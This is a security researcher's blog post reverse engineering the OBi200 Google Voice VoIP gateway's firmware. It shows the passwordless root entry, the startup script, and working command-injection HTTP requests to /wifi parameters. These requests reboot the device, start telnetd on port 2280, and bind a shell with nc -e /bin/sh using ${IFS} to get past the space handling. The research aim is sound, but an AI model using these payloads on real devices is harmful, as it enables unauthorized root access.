Reverse Engineering the OBi200 Google Voice Appliance: Part 1

The OBi200 by Obihai is a VoIP gateway for home/SOHO that integrates with Google Voice. It supports most standard VoIP features out of the box and can integrate with virtually any “bring your own device” SIP service. I purchased one earlier this year to act as a landline in my home (without monthly fees) and it’s worked pretty well so far. But before full installation, I decided to dig deeper into how it worked.

Firmware Analysis

I plugged in the appliance and opened up the web interface. One of the first things I did was check the shipped firmware version:

Above, you can see the OBi200 was shipped with 3.0.1 (Build: 4492). A quick check for the latest version available on Obihai’s website showed 3.1.1 (Build: 5463EX) — obviously, way behind! Though rather than update it immediately, I decided to keep the old version and poke around in case there were any patched vulnerabilities.

Next, I grabbed the firmware from Obi’s website. I couldn’t easily find the source for the exact version shipped with my appliance, but finding 3.0.1 (Build: 4738) was close enough for my purposes. A binwalk scan of the firmware produced the following results:

Note there are several Squashfs images above as well as an ARM uImage file. All seemed promising to explore further, so I extracted them to my local filesystem.

Moving through the filesystem, I was able to learn much more about the underlying implementation of the appliance. Here’s a look at the
/etc/passwd file:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

root::0:0:root:/root:/bin/sh

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/usr/sbin:

sys:*:3:3:sys:/dev:

adm:*:4:4:adm:/var/adm:

lp:*:5:7:lp:/var/spool/lpd:

sync:*:6:8:sync:/bin:/bin/sync

shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown

halt:*:8:10:halt:/sbin:/sbin/halt

mail:*:9:11:mail:/var/spool/mail:

news:*:10:12:news:/var/spool/news:

uucp:*:11:13:uucp:/var/spool/uucp:

operator:*:12:0:operator:/root:

games:*:13:100:games:/usr/games:

ftp:*:15:14:ftp:/var/ftp:

man:*:16:100:man:/var/cache/man:

nobody:*:65534:65534:nobody:/home:/bin/sh

As you can see above, there’s no password set for
root. The startup script at
/etc/rc also had some interesting info:

Shell

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

/bin/swcfg-pw0000x3800

hostname OBi202

#hostname FFxAV

mount-tproc proc/proc

# Create /var on RAM disk

mount-tramfs none/var

mkdir/var/lib

mkdir/var/run

mkdir/var/log

mkdir/var/ppp

mkdir/var/tmp

cp-p/etc/ppp.ori/*/var/ppp

touch/var/tmp/resolv.conf

#

#mount -t squashfs /dev/mtdblock7 /obi

# Making the /etc directory point to MTD4

# mount -t jffs2 /dev/mtdblock4 /etc -o sync

# Making the /etc directory point to MTD4

# mount -t jffs2 /dev/mtdblock4 /scratch -o sync

# gateway begin

mount-tsysfs none/sys

mkdir/var/run/ppp-p# needed by pppd

mkdir/var/log/ppp-p

mkdir/var/lock# needed by wvdial

#echo "******** Start udev"

mount-n-ttmpfs-omode=0755udev/dev

cp-a-f/dev0/*/dev

# It's all over netlink now

if[-e/proc/sys/kernel/hotplug];then

echo"">/proc/sys/kernel/hotplug

fi

#udevd --daemon

#echo "start monitor"

#udevadm monitor -e >/dev/.udev.log &

#UDEV_MONITOR_PID=$!

#echo "start trigger"

#udevadm trigger

#echo "start settle"

#udevadm settle

#kill $UDEV_MONITOR_PID

mount-ttmpfs none/dev/shm-osize=512K

mount-tdevpts none/dev/pts

#mknod -m 644 /dev/urandom c 1 9

#chown root /dev/urandom

echo"******** Start syslogd"

touch/var/log/messages

syslogd

# gateway end

# Start network device

cd/etc

#. ./rc.net &

../rc.net

cd/

echo"===> Obi <==="

cd/obi

#cd /usr/local/obi

./obi&

Note the leftover debugging/development lines commented out above showing a little more about the environment. After the initial setup, the script changes to the
/obi/ directory containing all of the vendor binaries and launches the main
obi script (and ultimately, the
obiapp binary).

Popping Shells

After some quick searching on the above file names, I found a Full Disclosure post from last year disclosing a number of vulnerabilities in Obihai’s OBi1000 IP Phone products. Since the
obiapp binary was mentioned in one of the PoCs and there were similar URI structures found in the Obi200, it seemed there was some shared code across both products. I tested the command injection vulnerability on my appliance and confirmed the device rebooted:

1

2

GET /wifi?checkssid=$(reboot) HTTP/1.1

Host: OBi202

Next, I tried to start the telnet daemon but, after a few attempts, I found port 23 was specifically blocked by the appliance. I was eventually able to get a root shell running
telnetd on another port:

1

2

GET /wifi?checkssid=$(telnetd -p 2280 &) HTTP/1.1

Host: OBi202

Additional Injections

I was curious if there were other similar injection points, so I decided to explore a bit more. I disassembled the
obiapp binary in IDA and found the decision point for routing the above
checkssid request. In close proximity, I found several other requests that were unescaped in similar ways:

And a couple of additional PoCs:

1

2

GET /wifi?reconnect=$(telnetd -p 2280 &) HTTP/1.1

Host: OBi202

1

2

GET /wifi?conf_cc_adhoc=$(nc${IFS}-l${IFS}-p${IFS}2281${IFS}-e${IFS}/bin/sh) HTTP/1.1

Host: OBi202

Note that the second request above is formatted slightly differently to achieve execution — this was due to the process not decoding spaces before passing them to the
system() call.

Preserving Root

It seemed likely the vulns disclosed in the post above were already patched in the latest firmware (I confirmed later they were), but I wanted to maintain root after upgrading to continue research. I decided getting console access would be my best bet, so I grepped
dmesg for mentions of a serial interface:

Note the serial interface listening on
/dev/ttyS0 above — now, it was just a matter of finding the debug port on the board.

In part 2 of this post, I’ll focus on identifying and connecting to the board’s UART pins in order to get console access to the appliance.